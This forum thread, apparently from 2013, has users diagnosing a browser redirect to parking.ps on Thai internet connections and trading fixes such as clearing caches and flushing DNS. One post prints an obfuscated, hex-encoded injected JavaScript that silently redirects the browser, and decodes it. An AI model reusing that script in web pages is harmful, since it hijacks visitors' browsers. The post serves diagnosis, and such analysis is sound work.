Anyone know about parking.ps/ virus?

[davejonesbkk]

this stopped for me yesterday afternoon after clearing history and cache but is now back this morning

Does the https chrome add on still work?

[lomatopo]

The HTTPS Everywhere add-on seems to be working for me with Chrome.

https://www.eff.org/https-everywhere

Strangely, with three other True DSL lines here no one has this issue; it only happens with one out of four DSL lines on premises. All the same router model/config/Google DNS. Weird.

[GrantSmith]

This seems to be affecting my iOS devices (iPad and iPhone running safari) and only when using Thai Visa but not my laptop (using Firefox)

Annoying to say the least...

[RedCardinal]

Change to True Proxy and it goes away:

Proxy Server = proxy.trueinternet.co.th

Port = 8080

You change this in your Internet Settings, which can be accessed via Internet Explorer on Windows. You can also access this via Settings in Chrome (it pops open the settings modal).

[rayongchelsea]

What about on the iPad using safari?

Thanks

[GrantSmith]

This seems to be affecting my iOS devices (iPad and iPhone running safari) and only when using Thai Visa but not my laptop (using Firefox)

Annoying to say the least...

rayongchelsea FYI

[gopher]

My first post here. this Parking.PS has nothing to do with ThaiVisa. I started getting it yesterday and have never visited this forum before. I have only ended up here after googling the problem. I'm visiting BKK and using the hotel wifi. my laptop is running Win7 with Internet Explorer 10 and Firefox. the prob affects both browsers. I'm puzzled, am a very experience web user, and haven't downloaded anything - ANYTHING - for 2 weeks or so. no downloads, no browser add-ons, nothing at all. but every 30 seconds or so I get diverted parking.ps

I don't understand it. and very annoying

[whybother]

I was getting the problem this morning on the Bangkok Post website, and no other website that I was visiting at the time.

It seems to have stopped now.

[Chicog]

If someone has the problem can you see if you can open your browser in safe mode and get to https://browsercheck.qualys.com/

And none of these instructions seem to require any ransomware....

http://www.safebro.com/parking-ps-virus-removal

Edited September 6, 2013 by Chicog

[NCC1701A]

I know what happened. The train track maintenance engineer of the Bangkok to Chiang Mai rail line quit his job and now works at True.

[yankee99]

this is not true related.I am in Tokyo airport on my smart phone using airport wifi with the same redirect

[elfpattaya]

Still using "HTTPS Everywhere" Add On with both Firefox and Chrome. Working well. No problems in the last 24 Hours.

[Nall]

Well I guess I thought I'd make an account after having had to deal with this apartment's Internet for so long. My main issue with this Internet I believe is never having the same IP address when making outgoing connections. I've noticed this when making connections through IRC. It normally wouldn't bother me, but some websites are nearly impossible to login to, probably because they have trouble recognizing me. Thankfully before coming to Bangkok I leased a VPS, so I can just proxy into that any time I want. The connection is tunneled through SSH, and is encrypted the whole way. True pretty much doesn't know what's going on, and all connections are coming from my VPS which is in the US. This has solved most of my problems, but I don't like to rely on it too much, simply because of the lag, and SSH doesn't seem to play too well with this Internet.

I just ran into this parkingps issue today, and was getting irritated. I thought it might be a virus, so I did a quick Google search, and how interesting to find out that it's something to do with True's Internet(or maybe Thailand Internet in general?) and my DNS servers are always Google. So the only way I was able fix this was clearing my cache and using my vps as a proxy. It might have to be a proxy or VPS outside of Thailand. I'm not sure. But just using the proxy didn't help, I had to clear my cache as well. Either way, hopefully they can fix it soon.

[caughtintheact]

Check the parking.ps website http://parking.ps/en/ ..click the American flag icon for English and scroll down to the bottom of the page. It says, "

Parking(PS) - Domain Name Parking & Free Regional News Provider
You probably reached this page because you tried to visit a parked domain, an expired domain, or a blocked domain that is known to host harmful/illegal content, and/or is being blocked by other browser extensions you might have recently installed. If Parking.ps annoys you in any way or seems to appear in the wrong place, installing AdBlock for Chrome, AdBlock for Firefox or equivalent will instantly stop the website from ever appearing again. You can also check our Frequently Asked Questions for additional information - 2013 Parking (PS) - all rights reserved "

Also check the FAQ Frequently Asked Questions . In some cases you should be able to uninstall it from the control panel. An updated malware bytes might detect this.

[arunah]

I remember when I first got true as ISP. I had to disable some box in the modem settings to stop being redirected to a "landing page" maybe a similar problem?

[RichCor]

I did a quick search and found THIS:
discussions.apple.com/message/22492388#22492388 where the owner of the domain explains what may be happening:

So is appears to be another JavaScript exploit.

And here's someone from Chiang Mai with the technical explanation.

If running a Windows-based PC, you might want to check here to see if these areas of your PC are affected at
ComputerIssuesCenter.Blogspot.com how_to_remove_parkingps

I haven't encountered the problem here, though I'm running Chrome w/ABP extension.

Edited September 6, 2013 by RichCor

[nami]

That one from Chiang Mai it is me but I am in Bangkok though :-P

There is a javascript being inserted in many pages (I guess the pages using a certain ad network)

http://b.scorecardresearch.com/beacon.js

//<![CDATA[

if(!fxpr) { var fxpr = 1; function __x(zz) { var _0xede9=["\x77\x69\x6E\x64\x6F\x77\x2E\x74\x6F\x70\x2E\x6C\x6F\x63\x61\x74\x69\ x6F\x6E\x2E\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x67\x6F\x6F\x2E \ x67\x6C\x2F\x34\x51\x52\x33\x48\x32\x27\x3B", "\x72\x61\x6E\x64\x6F\x6D", "\x66\x6C\x6F\x6F\x72]; setTimeout(_0xede9[0],Math[_0xede9[2]]((Math[_0xede9[1]]()*76543)+zz)); } function vl1() { top.location = 'http://goo.gl/QBwtIl'; } __x(1234); }

//]]>

The http://goo.gl/QBwtIl URL is an Amazon ad. However, the hexadecimal encoded text "\x77\x69\x6E..." is in fact a redirect instead of a pop up. The text decodes as "window.top.location.href='http://goo.gl/4QR3H2'; " so it is changing the browser URL in the location bar instead of opening a pop up or displaying an embedded ad. This URL is the one pointing to parking.ps.

I didn't look any more about this since this morning, but my guess still is that scorecardresearch ad network is somehow messing the ads or being abusive. You can see the script has a small delay and then just changes the browser URL, quite annoying and intrusive :-(

It's also interesting to note that most users are reporting the use of Google DNS servers, my company is also using them.

[o2eZy]

might be an added extension

to remove go to google chrome

go to customize and control go to settings go to extensions and see what is enabled

remove tick and see what happens

then go to control panel add and remove program look for program and remove

[swissman53]

Install the program "sandbox" and you can test all sites in a safe box and delete without getting in trouble...

[Maestro]

This web page gives information about the redirect problem to parking.ps and offers a tool to automatically remove it:

http://cleanpcguide.com/?s=parking.ps

I have never had occasion to use the service of cleanpcguide.com. Can somebody confirm that it is tustworthy?

[partington]

This web page gives information about the redirect problem to parking.ps and offers a tool to automatically remove it:

http://cleanpcguide.com/?s=parking.ps

I have never had occasion to use the service of cleanpcguide.com. Can somebody confirm that it is tustworthy?

It is not trustworthy.

As has been pointed out above the parking.ps problem is caused by an advertisement that instead of opening a pop-up, changes your browser URL after a delay, and redirects it.

It is not within your computer so any program that claims to remove it is going to add some real stuff that infects your computer.

Don't trust these sites. There are several others, most written in the same kind of English that Nigerian princes who want you to share 5 million dollars with them use in their e-mails.

Edited September 6, 2013 by partington

[easyride]

I've had this annoying redirect for a few days but it isn't just True with the problem.

I've got a VPN and (mainly to access the BBC) and I still get redirected.

Not really a cure but if you go back one page from Parking.ps the original page is still there.

[nami]

I just found another computer in the same network didn't have this issue at all. Actually when inspecting the javascript file it had a completely different content inside. Didn't look at the IP the host was resolving to as I had to leave the office, but this looks like at some point in the last days a DNS server started spreading a false IP for that host, Google DNS (and probably others) trusted that compromised or malicious DNS, and that resolved IP was cached locally in the computers now having the problem.

It should be as easy as to flush the locally cached DNS in your computer.

For Mac you can run this in a Terminal windows (Applications/Utilities/Terminal):

dscacheutil -flushcache

sudo killall -HUP mDNSResponder

(last line will ask for you administrator password to execute)

For Windows:

Windows Key + r and type cmd (or Start/Run/cmd Or Start/Accessories/Command Prompt) [This opens a MS-DOS command line window]

type ipconfig /flushdns

This will flush the cached DNS, so the next time you load the pages using that javascript, your computer will ask for the IP of the host instead of using the locally stored one that was a fake.

[Anon999]

What ISP are you with.

I'm also seeing this, but it's affecting all devices in my home so I suspect it's a DNS hack. I'm on True cable.

PS do not download anything that looks dodgy - it will probably just double your pain. Stick to MalwareBytes or well known Malware/AV vendors only.

PPS CCleaner doesn't fix malware, ans Adaware wouldn't be a very good anti-malware program IMO.

Try Avast Free it is a good malware program.

[SecretAgentMan]

This seems to be affecting my iOS devices (iPad and iPhone running safari) and only when using Thai Visa but not my laptop (using Firefox)

Annoying to say the least...

Same here. I deleted history and cache in iphone and now so far after 24hours problem remain solved. Edited September 6, 2013 by SecretAgentMan

[mjj]

I had/have the parking ps thing. I haven't had it for about 13 hours. I use an ipad that is not jailbroken and I haven't downloaded anything. Previously I had deleted the cookies and data but still had the problem.

I'm not suggesting this is a definite solution, but I used a different wifi connection (my sons nursery - not that makes a difference) then when I can home and went back to my wifi, no problems.

I'm not a 'computer guy', so I can't say why this worked/is working, just reporting my findings.

Good luck.

Edited September 6, 2013 by mjj

[Para]

I posted this on your other thread not sure if its of help...

http://blog.teesupport.com/guide-to-remove-stop-parking-ps/

Sent from my i-mobile IQ XA using Thaivisa Connect Thailand mobile app

[Maestro]

Thank you, Para. The information in the link you posted looks like the best advice so far in this topic about how to remove the parking.ps redirect. Fortunately, my laptop is not infected but I checked the msconfig just the same to make sure. In Windows 7 it is as follows:

• Click on Start
• In the search field, type msconfig, then press Enter
• Click on Startup in the headings row
• Click on header Startup Item to sort the list alphabetically
• Scroll down the list to see if there is Parking.ps in the column Startup Item

Luckily, I haven't got it, nothing starting with P.

[Para]

I'm on my mobile so restricted on what I can try before suggesting.

Personally I would try a quick registry search for 'parking.ps'

IMHO

[Para]

Could also run a superb utility which finds BHO's called HIJACKTHIS you do need a level of tech understanding as its output isn't that easy to read.